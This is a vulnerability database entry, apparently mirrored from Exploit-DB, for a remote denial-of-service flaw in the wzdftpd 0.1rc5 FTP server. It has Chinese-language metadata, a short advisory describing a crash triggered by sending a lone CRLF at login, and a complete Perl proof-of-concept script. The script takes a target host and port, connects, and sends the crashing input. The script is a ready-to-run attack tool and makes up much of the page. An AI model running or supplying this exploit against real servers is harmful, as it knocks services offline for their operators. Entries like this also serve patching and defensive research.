WzdFTPD 0.1 rc5 - Login Remote Denial of Service

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漏洞ID 1054180 漏洞类型
发布时间 2003-09-23 更新时间 2003-09-23
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23169
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8678/info

It has been reported that wzftpd is prone to a remote denial of service condition due to malicious user-supplied input. The problem is reported to present itself when a remote attacker sends a single CRLF character to the vulnerable program during the login process. This attack may cause the software to improperly handle the exceptional condition and lead to a crash.

Successful exploitation of this attack may allow a remote attacker to cause the vulnerable process to crash.

wzdftpd version 0.1rc5 has been reported to be prone to this vulnerability, however other version across various platforms may be affected as well. 

#!/usr/bin/perl
#
#   ####################################
#   #     Proof of concept for         #
#   # WZDFTPD FTP Server version 0.1rc5 #
#   ####################################
#
# http://www.moozatech.com/mt-23-09-2003.txt
#
# Usage: perl mooza1.pl [host] [port]
use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1];
print "\n#####################################\n\n";
print "Proof-Of-Concept for wzdftpd v0.1rc5.\n";
print "this code is for demonstration only.\n";
print "Use it under your own responsebility.\n";
print "\n#####################################\n\n";

if (defined $host && defined $port ) {
} else {
  print "Oops, Something is missing.\n";
  die "Usage: perl mooza1.pl [host] [port]\n";
}

print "Connecting to $host:$port... ";

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
 Proto => "tcp", Type=> SOCK_STREAM) or die "Failed, Cant connect?\n";
print "OK\n";
sleep 1;
print "Sending Dos..\n";
sleep 2;
print $socket "\r\n";
$socket->autoflush(1);

sleep 2;
print "we are done here..\n\n";
close($socket);